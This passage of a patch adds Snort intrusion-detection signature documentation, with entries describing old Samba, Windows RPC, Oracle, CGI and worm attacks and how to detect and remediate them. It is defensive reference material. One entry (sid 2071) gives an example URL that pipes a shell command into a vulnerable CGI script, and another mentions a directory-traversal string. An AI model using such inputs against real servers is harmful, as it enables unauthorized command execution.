+Webservers should not be allowed to view or execute files and binaries
+outside of it'sdesignated web root or cgi-bin. This command may also
+be requested ona command line should the attacker gain access to the
+machine. Wheneverpossible, sensitive files and certain areas of the
+filesystem shouldhave the system immutable flag set to prevent files
+from being addedto the host. On BSD derived systems, setting the
+systems runtimesecurelevel also prevents the securelevel from being
+changed. (note: thesecurelevel can only be increased).
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1342
+sid: 1343
+sid: 1344
+sid: 1345
+sid: 1346
+sid: 1347
+sid: 1348
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3020.txt
+++ snort-2.8.5.2/doc/signatures/3020.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3020
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/684.txt
+++ snort-2.8.5.2/doc/signatures/684.txt
@@ -0,0 +1,76 @@
+Rule:  
+
+--
+Sid: 
+684
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database
+server that may result in a serious compromise of the data stored on
+that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an
+SQL database that may result in a serious compromise of all data stored
+on that system.
+
+Such commands may be used to gain access to a system with the privileges
+of an administrator, delete data, add data, add users, delete users,
+return sensitive information or gain intelligence on the server software
+for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the
+result of spawning a remote shell as a consequence of a successful
+network exploit. 
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and
+issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the
+protected network.
+
+Ensure that this event was not generated by a legitimate session then
+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft SQL Command summary:
+http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_sp_da-di_8nas.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3057.txt
+++ snort-2.8.5.2/doc/signatures/3057.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3057
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2207.txt
+++ snort-2.8.5.2/doc/signatures/2207.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2207
+
+--
+Summary:
+This event is generated when an attempt is made to access fileseek.cgi on an internal web server. This may indicate an attempt to exploit a directory traversal or remote command execution vulnerability in Wiley Computer Publishing Craig Patchett FileSeek.cgi.
+
+--
+Impact:
+Information gathering or remote execution of arbitrary code.
+
+--
+Detailed Information:
+FileSeek.cgi is an example script that locates and downloads files on a web server, available in "The CGI/Perl Cookbook," written by Craig Patchett and published by John Wiley & Sons. It contains two vulnerabilities due to erroneous parsing -- an attacker could use "....//" in the HEAD or FOOT parameter of an HTTP request to fileseek.cgi to view arbitrary files on the server or could use a similar method to execute shell commands on the web server. Both actions will be performed with the security context of the web server.
+
+--
+Affected Systems:
+Any web server running fileseek.cgi.
+
+--
+Attack Scenarios:
+An attacker sends a specially crafted HTTP request to a vulnerable web server, and is then able to view files on the server. In addition, an attacker could send a specially crafted HTTP request that contains shell commands to the web server. The web server would then attempt to execute the commands in the request.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+If a legitimate remote user accesses fileseek.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/6783
+http://www.securityfocus.com/bid/6784
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3151.txt
+++ snort-2.8.5.2/doc/signatures/3151.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid:
+3151
+
+-- 
+Summary: 
+This event is generated when an attempt is made to access the host
+filestem via fingerd.
+
+-- 
+Impact: 
+Information gathering.
+
+--
+Detailed Information:
+This event is generated when a specific attack against a vulnerable
+version of the finger daemon is detected. 
+
+The Finger daemon is used to provide information about users on a UNIX
+system. A certain version of fingerd shipped with one release of FreeBSD
+4.1.1 contained an added feature that allows a remote user to request
+some files via the use of finger. This event indicates that such a
+request has been made.
+
+The feature also allowed any file or directory structure on the host
+readable by the "nobody" user to also be accessed, leading to
+unauthorized information disclosure.
+
+--
+Affected Systems:
+	FreeBSD 4.1.1 Release
+
+--
+Attack Scenarios:  
+An attacker can use finger to read a directory structure or file by
+making a request via finger.
+
+-- 
+Ease of Attack: 
+Simple, no exploit software is required, just a specially formatted
+finger query.
+
+-- 
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+Corrective Action: 
+Disable the finger daemon or limit the addresses that can access the
+service via a firewall or TCP wrappers.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000586.txt
+++ snort-2.8.5.2/doc/signatures/100000586.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000586
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "db_alter_change.php" using a remote file being passed as 
+the "admin_template_path" parameter may indicate that an exploitation attempt 
+has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"db_alter_change.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/122-9.txt
+++ snort-2.8.5.2/doc/signatures/122-9.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-9
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically an ip
+protocol scan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000127.txt
+++ snort-2.8.5.2/doc/signatures/100000127.txt
@@ -0,0 +1,66 @@
+Rule: 
+
+--
+Sid: 
+100000127
+
+-- 
+Summary: 
+This event is generated when an attempt is made to link to an external script 
+as part of the Stadtaus.com PHP Form Mail program.
+
+-- 
+
+Impact: 
+The script being included will be run in the same security context as the 
+vulnerable program, enabling a variety of web-based attacks.
+
+--
+Detailed Information:
+The Stadtaus.com PHP Form Mail system's formmail.inc.php module, when including 
+other scripts by way of its script_root parameter, fails to validate the 
+location of these scripts, and thus allows attackers to include any malicious 
+script anywhere on the web. The included script will be executed with the same 
+permissions and in the same security context at the vulnerable program itself, 
+thus allowing a range of attacks.
+
+--
+Affected Systems:
+Stadtaus.com PHP Form Mail Script 2.3
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser or a script.
+
+-- 
+
+Ease of Attack: 
+Simple, as it can be exploited using a web browser.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Currently, there are no vendor-supplied patches or workarounds. However, if it 
+is possible to globally disable PHP's 'allow_url_fopen' and 'register_globals' 
+directives in your environment, doing so may disable this vulnerability. 
+However, turning off these directives should be tested in a non-production 
+environment, in case doing so breaks other scripts on your system.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3255.txt
+++ snort-2.8.5.2/doc/signatures/3255.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3255
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3000.txt
+++ snort-2.8.5.2/doc/signatures/3000.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid:
+3000
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Microsoft implementation of the ASN.1 Library.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the Microsoft implementation of the ASN.1 
+Library. It may be possible for an attacker to exploit this condition by 
+sending specially crafted authentication packets to a host running a 
+vulnerable operating system.
+
+When the taget system decodes the ASN.1 data, exploit code may be included 
+in the data that may be excuted on the host with system level privileges. 
+Alternatively, the malformed data may cause the service to become 
+unresponsive thus causing the DoS condition to occur.
+
+--
+Affected Systems:
+	Microsoft Windows NT
+	Microsoft Windows NT Terminal Server Edition
+	Microsoft Windows 2000
+	Microsoft Windows XP
+	Microsoft Windows 2003
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0818
+
+US-CERT
+http://www.us-cert.gov/cas/techalerts/TA04-041A.html
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms04-007.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000556.txt
+++ snort-2.8.5.2/doc/signatures/100000556.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000556
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "VebiMiau" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "sid" parameter in the "error.php" script used 
+by the "VebiMiau" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using VebiMiau
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1871.txt
+++ snort-2.8.5.2/doc/signatures/1871.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1871
+
+--
+Summary:
+This event is generated when an attempt is made to access an Oracle 
+Application Server's XSQLConfig.xml configuration file.
+
+--
+Impact:
+Serious
+
+--
+Detailed Information:
+With the default installation of Oracle's  Application Server, it is 
+possible for an unauthorized user to view the XSQLConfig.xml file. This 
+file contains information such as the database server's name, user id's,
+and passwords.
+
+--
+Affected Systems:
+	Oracle 9i Application Server
+
+--
+Attack Scenarios:
+An attacker can use this to find out information about the database and 
+then use that information to compromise the server.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives: 
+None known.
+
+--
+False Negatives: 
+None known.
+
+--
+Corrective Action:
+Apply appropriate permissions to the file.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com> 
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0568
+
+Nessus:
+http://cgi.nessus.org/plugins/dump.php3?id=10855
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1225.txt
+++ snort-2.8.5.2/doc/signatures/1225.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1225
+
+--
+Summary:
+This event is generated when an attempt to exploit a weakness in the authentication mechanism used to connect to an X windows server is made.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+Implementations of the X windows system from the X consortium may use weak authentication methods when allowing remote machines to connect to a host running X windows.
+
+XDM is used to allow remote users access to the remote X window server. When configured incorrectly, this may allow an unathorised user to connect to the display.
+
+--
+Attack Scenarios:
+The remote attacker may scan the host for listening X window servers, then connect to the remote host using XDM.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow connections to X servers from hosts outside the protected network.
+
+Apply the appropriate vendor patches.
+
+Upgrade to the latest version of the software.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0241
+
+CIAC:
+http://ciac.llnl.gov/ciac/bulletins/g-04.shtml
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS396
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1651.txt
+++ snort-2.8.5.2/doc/signatures/1651.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1651
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1160.txt
+++ snort-2.8.5.2/doc/signatures/1160.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1160
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2868.txt
+++ snort-2.8.5.2/doc/signatures/2868.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2868
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_update_resolution
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1295.txt
+++ snort-2.8.5.2/doc/signatures/1295.txt
@@ -0,0 +1,70 @@
+Rule: 
+
+--
+Sid:
+1295 
+
+--
+Summary: 
+This event is generated when traffic containing the RICHED20.DLL file is
+detected. This may indicate Nimda worm activity.
+
+--
+Impact:
+Possible infection by the Nimda virus.
+
+--
+Detailed Information:
+Nimda spreads by file infection, mass emailer, file share, or IIS unicode exploit 
+to attack unpatched systems.
+
+--
+Affected Systems:
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows 2000
+
+--
+Attack Scenarios:
+An unpatched server is connected to the internet and is infected or
+an infected email is opened. Once infected the worm spreads itself.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+Application/User may access the Microsoft RichEdit control across the 
+network causing a false positive.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Check the suspect host for signs of infection. Apply patches 
+or upgrade the operating system
+
+--
+Contributors:
+Snort documentation contributed by Timothy Vienneau
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft:
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/topics/virus/nimda.asp
+
+F-Secure:
+http://www.f-secure.com/v-descs/nimda.shtml
+
+Microsoft:
+http://msdn.microsoft.com/library/en-us/vclib/html/vclrfafxinitrichedit2.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2071.txt
+++ snort-2.8.5.2/doc/signatures/2071.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2071
+
+--
+Summary:
+made.
+
+--
+Impact:
+Code execution and possible control of the target machine
+
+--
+Detailed Information:
+Alibaba is a web server that runs on Windows platforms. An error in the 
+cgi script post32.exe allows piped commands to be processed on the 
+server.
+
+--
+Affected Systems:
+Computer Software Manufaktur Alibaba 2.0
+	Microsoft Windows 2000 Workstation
+	Microsoft Windows 95
+	Microsoft Windows 98
+	Microsoft Windows NT 4.0
+   
+--
+Attack Scenarios:
+The attacker merely needs to make an http request to the script using a 
+pipe command at the end of the URI to execute any command he chooses.
+
+For example, http://www.foo.com/cgi-bin/post32.exe|dir%20c:\
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade Alibaba to the latest non vulnerable version if available.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1485
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2968.txt
+++ snort-2.8.5.2/doc/signatures/2968.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2968
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1086.txt
+++ snort-2.8.5.2/doc/signatures/1086.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1086
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
